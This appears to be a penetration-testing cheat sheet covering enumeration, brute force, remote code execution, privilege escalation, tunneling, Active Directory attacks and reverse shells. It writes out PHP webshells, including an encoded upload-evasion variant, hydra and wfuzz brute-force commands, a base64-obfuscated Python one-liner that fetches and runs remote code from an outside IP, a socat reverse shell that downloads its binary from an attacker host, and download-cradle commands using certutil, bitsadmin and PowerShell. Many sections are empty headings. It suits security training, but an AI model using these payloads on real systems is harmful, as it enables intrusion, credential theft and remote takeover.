Awesome

<b>Table of Contents</b>

• Enumeration
  • Generic Enumeration
  • HTTP Enumeration
  • SSH Enumeration
  • SMB Enumeraion
  • SNMP Enumeration
• Explotation
  • BOF Based Exploits
  • Weak Credentials
    • HTTP Bruteforce
    • Password Cracking
  • RCE
    • PHP RCE
    • RCE via webshell
    • RCE WMIC (powershellless)
    • LOLBins
• Privilege Escalation
  • Linux
  • Windows
  • Kernel Exploits
• Tunneling & Port Forwarding
  • SSH over TCP
  • TCP over HTTP
    • 1. reGeorg
    • 2. ABPTTS
  • HTTP Redirectors
    • 1. socat
    • 2. iptables
  • Windows Socks Proxy
  • Man's poor VPN
• Windows Active Directory
  • Bypass Applocker
  • Pass The Hash
  • Kerberos
  • Miscellaneous
• Reverse Shells
  • DNS with dnscat2
  • ICMP
  • HTTP through proxy
• Miscellaneous

  • Interactive Reverse Shell

  • rbash Jail Escape

  • Windows File Transfer

  • Bypass VPN routing restrictions

  • AV Bypass

<a name="enumeration"></a><h2> Enumeration </h2>

<a name="genumeration"></a><h3>Generic Enumeration</h3>

• port fullscan

• UDP scan

<a name="httpenumeration"></a><h3> HTTP Enumeration</h3>

• dirsearch big.txt -e sh,txt,htm,php,cgi,html,pl,bak,old

• banner inspection

• review source code

• bruteforce with cewl-based dictionary

• searchsploit look at versions properly

• test all the paths with the exploits, mangle it

• nmap --script vuln

• nmap --script safe (ssl-cert, virtual hosts)

• always incercept with Burp

• nikto -h

• LFI, RFI, SQL, RCE, XXE, SSRF injections

• PUT method all directories

• Change POST body encoding with Burp

• Bruteforce parameter names

• dirsearch with cookie once authenticated

• download vulnerable application from exploit-db and examine it

<a name="sshenumeration"></a><h3>SSH Enumeration</h3>

• shellshock

• bruteforce

• user_enum

• Debian OpenSSL Predictable PRNG

<a name="smbenumeration"></a><h3>SMB Enumeration</h3>

• nmap --script vuln

• nmap --script smb*

• nmap --script smb-enum-shares,smb-ls

• enum4linux

<a name="snmpenumeration"><h3> SNMP Enumeration</h3>

• snmpcheck

• snmpenum

<a name="explotation"></a><h2> Explotation </h2>

<a name="bof"></a><h3> BOF exploit-based </h3>

• change shellcode

• make sure all badchars are removed

• read the exploit properly in case this makes changes in the shellcode

• capture traffic with wireshark making sure the entire shellcode is transmited

• run the exploit several times

• make sure the JMP ESP matches OS and language

<a name="weakcreds"></a><h3> Weak Credentials </h3>

<a name="httpbrute"></a><b> HTTP Brute Force </b>

• wfuzz POST

wfuzz --hc 404 -c -z list,admin -z file,/root/Documents/SecLists/Passwords/korelogic-password.txt -d "user=FUZZ&password=FUZ2Z" http://192.168.30.161/admin/index.php

• hydra POST

hydra 192.168.30.161 -s 80 http-form-post "/admin/index.php:user=^USER^&password=^PASS^:Moved Temporarily" -l admin -P /root/Documents/SecLists/Passwords/korelogic-password.txt -t 20

• wfuzz NTLM

wfuzz -c --ntlm "admin:FUZZ" -z file,/root/Documents/SecLists/Passwords/darkc0de.txt --hc 401 https://<ip>/api

• wfuzz Basic Auth through Proxy

wfuzz -c --hc 404,400,401 -z file,/root/Documents/Audits/Activos/names.txt -z file,/root/Documents/Audits/Activos/names.txt --basic "FUZZ:FUZ2Z" -p 127.0.0.1:8080 https://<ip>/api/v1/

<a name="passcrack"></a><b> Password Cracking </b>

• zip

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt file.zip

• /etc/shadow

• keepass

• Bruteforce Salted

<a name="rce"></a><h2> RCE </h2>

<a name="phprce"></a><h3>PHP RCE</h3>

test:

<?php phpinfo(); ?>

simple shell:

<?php system($_GET["c"]); ?>

<?php `$_GET["c"]`; ?>

file upload:

<?php file_put_contents('/var/www/html/uploads/test.php', '<?php system($_GET["c"]);?>'); ?>

file upload evasion: rot13 + urlencode

<?php $payload="%3C%3Fcuc%20flfgrz%28%24_TRG%5Bp%5D%29%3B%3F%3E"; file_put_contents('/var/www/html/uploads/test8.php', str_rot13(urldecode($payload))); ?>

<a name="rcewebshell"></a><h3>RCE via webshell</h3>

• All pentest monkey reverse shells: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

• msfvenom x86/linux/shell_reverse_tcp -f elf

• Metasploit web_delivery module

• which wget | nc <ip> <port>

<a name="rcewmic"></a><h3>RCE via WMIC</h3>

Powershell without powershell:

Generate payload with web_delivery

Encode Payload

Include payload in xsl file

<a name="lolbins"></a><h3>LOLBINS</h3>

<b>SyncAppvPublishingServer</b>

<b>rundll32</b>

<a name="privesc"></a><h2> Privilege Escalation</h2>

<a name="linux"></a><h3> Linux Privilege Escalation </h3>

• sudo -l
• Kernel Exploits
• OS Exploits
• Password reuse (mysql, .bash_history, 000-default.conf...)
• Known binaries with suid flag and interactive (nmap)
• Custom binaries with suid flag either using other binaries or with command execution
• Writable files owned by root that get executed (cronjobs)
• MySQL as root
• Vulnerable services (chkrootkit, logrotate)
• Writable /etc/passwd
• Readable .bash_history
• SSH private key
• Listening ports on localhost
• /etc/fstab
• /etc/exports
• /var/mail
• Process as other user (root) executing something you have permissions to modify
• SSH public key + Predictable PRNG
• apt update hooking (Pre-Invoke)
• Capabilities

<a name="windows"></a><h3> Windows Privilege Escalation </h3>

• Kernel Exploits
• OS Exploits
• Pass The Hash
• Password reuse
• DLL hijacking (Path)
• Vulnerable services
• Writable services binaries path
• Unquoted services
• Listening ports on localhost
• Registry keys

<a name="kernel"></a><h3> Kernel Exploits </h3>

Linux: https://github.com/lucyoa/kernel-exploits

Windows: https://github.com/abatchy17/WindowsExploits

<a name="tunneling"></a><h2>Tunneling & Port Forwarding</h2>

<a name="sshovertcp"></a><h3>SSH over HTTP (Squid)</h3>

<b> socat </b>

<b>proxytunnel </b>

<b>proxychains </b>

<b>corkscrew </b>

<a name="tcpoverhttp"></a><h3> TCP over HTTP </h3>

For this technique, it is necessary to be able to upload a file to a webserver.

<a name="regeorg"><b> 1. reGeorg </b>

File upload to the server correct

Tunnel creation

python reGeorgSocksProxy.py -p 5555 -u "http://<ip>/admin/uploads/reGeorg.jsp"

Proxychains config

Reference: https://sensepost.com/discover/tools/reGeorg/

<a name="abptts"><b> 2. ABBTTS </b>

Upload File

Config proxychains and create the tunnel

python abpttsclient.py -c tomcat_walkthrough/config.txt -u http://192.168.1.128/abptts.jsp -f 127.0.0.1:22222/127.0.0.1:22

Usage

ssh -p 22222 user@127.0.0.1

Reference: https://github.com/nccgroup/ABPTTS

<a name="httpredirectors"><h3>HTTP Redirectors</h3>

<a name="socatred"><b> 1. socat </b>

<a name="iptablesred"><b> 2. iptables </b>

<a name="windowsocks"></a><h3> Windows Socks Proxy </h3>

In this case this is going to be used to access Burp listening on a Windows NATed VM from other PCs in the same network as the Windows Host.

From the Windows Host machine (IP: 192.168.1.206)

From other PC on the Windows Host machine network (IP: 192.168.1.69)

Configure proxychains.conf:

This command ahead makes Burp (which is listening on the NATed machine) accessible from 192.168.1.69 on port 8081

Now, configure the Proxy in the browser:

All the traffic is logged on the NATed machine Burp.

Reference: https://github.com/p3nt4/Invoke-SocksProxy

<b> Chisel </b>

Attacker

Victim

Attacker

References: https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html

<a name="poor"></a><h3> Man's Poor VPN </h3>

Traffic forward over SSH without needing to ssh -D <port>

Proof:

Reference: http://teohm.com/blog/using-sshuttle-in-daily-work/

<a name="windowsad"></a><h2> Windows AD Environment </h2>

<a name="applocker"></a><h3> Bypass Applocker </h3>

<b>1. rundll32</b>

rundll32.exe PowerShdll.dll,main

Reference: https://github.com/p3nt4/PowerShdll

<b>2. Alternative powershell files</b>

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise

<a name="pth"></a> <h3> Pass The Hash </h3>

<b> Invoke a command Remotely </b>

<b> Invoke Mimikatz Remotely </b>

<b> Pass The Hash with Mimikatz </b>

<a name="krb"></a><h3> Kerberos </h3>

<b> Generate Golden Ticket (Domain Admin Required) </b>

<a name="miscwin"></a><h3> Miscellaneous </h3>

<b> Invoke Mimikatz </b>

<b> Mimikatz C# </b>

https://gist.github.com/caseysmithrc/87f6572547f633f13a8482a0c91fb7b7

In case compiler is outdated:

<b> Runas Powershell </b>

Start-Process powershell.exe -Verb runas Start-Process powershell.exe -Credential <user>

<b> View Shares With Permissions </b>

<b> View files that contain certain words recursively </b>

<b> View files which name contains certain words recursively </b>

<b> Connect to MSSQL Database </b>

<b> Port Scanning </b>

<b> View Domain Admins </b>

<b> View Domain Controlers </b>

<b> Get Hashes </b>

<b> Check Pass The Hash with multiple servers</b>

<b> Run web_delivery with other identity </b>

References: https://www.hacklikeapornstar.com/

<a name="revshells"></a><h2> Reverse Shells </h2>

<a name="dns"></a><h3> Reverse DNS Shell with dnscat powershell </h3>

<b> Server </b>

<b> Client </b>

Reference: https://github.com/lukebaggett/dnscat2-powershell

<a name="icmp"></a><h3> Reverse ICMP shell </h3>

<b> Server </b>

<b> Client </b>

<b> Native ICMP shell </b>

Reference: https://esgeeks.com/icmpsh-shell-reverse-con-icmp/

<a name="httpproxy"></a><h3> Reverse HTTP Shell through Proxy </h3>

python -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnUHJveHlIYW5kbGVyJ10pCmhzPVtdCmhzLmFwcGVuZCh1bC5Qcm94eUhhbmRsZXIoeydodHRwJzonaHR0cDovLzE5Mi4xNjguMTA3LjIzMjo4MDgwJ30pKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cDovLzE3OC42Mi41OC4zNTo4MC9qOTkzQScpLnJlYWQoKSkK')))"

Finally we set up the handler:

<a name="misc"></a><h2> Miscellaneous </h2>

<a name="interactiveshell"></a><h3> Interactive Reverse Shell </h3>

<b> Method 1 </b>

Attacker:

socat file:`tty`,raw,echo=0 TCP-L:4444

Victim:

wget -q http://10.10.14.16/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.16:4444

Socat Binary: https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

<b> Method 2 </b>

In reverse shell

In kali

In reverse shell

<a name="jailescape"></a><h3>rbash Jail Escape</h3>

<b>RequestTTY no</b>

and the result would be:

<b>Bash --noprofile</b>

<a name="windowstransfer"></a><h3> Windows File Transfer </h3>

<b>bitsadmin</b>

bitsadmin /transfer debjob /download /priority normal http://<ip>/shell.php c:\xampp\htdocs\shell.php

<b>cscript wget.vbs (code on the repo)</b>

cscript wget.vbs http://<ip>/test.txt test.txt

<b>powershell</b>

powershell -c "(new-object System.Net.WebClient).Downloadfile('http://<ip>/exploit.exe', 'C:\Windows\temp\exploit.txt')"

<b>ftp</b>

client:

server:

<code>python -m pyftpdlib --port=2121 --write</code>

<b>wget.exe</b>

Upload to vulnerable server from kali: /usr/share/windows-binaries/wget.exe

wget.exe http://<ip>/file file

<b> certutil </b>

certutil -urlcache -split -f https://<ip>/file.txt file.txt

<a name="vpnrestrict"></a><h3> Bypass VPN routing restrictions </h3>

Reference: https://github.com/dlenski/vpn-slice

<a name="avbypass"></a><h3>AV Bypass</h3>

<b> Lsass Dump </b>

References: https://esmyl.medium.com/windows-memory-dump-cheat-sheet-23f32079304a

<b> SharpSploit </b>

References: https://cobbr.io/SharpSploit.html

<b> Workflow.Compiler </b>

References:

https://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb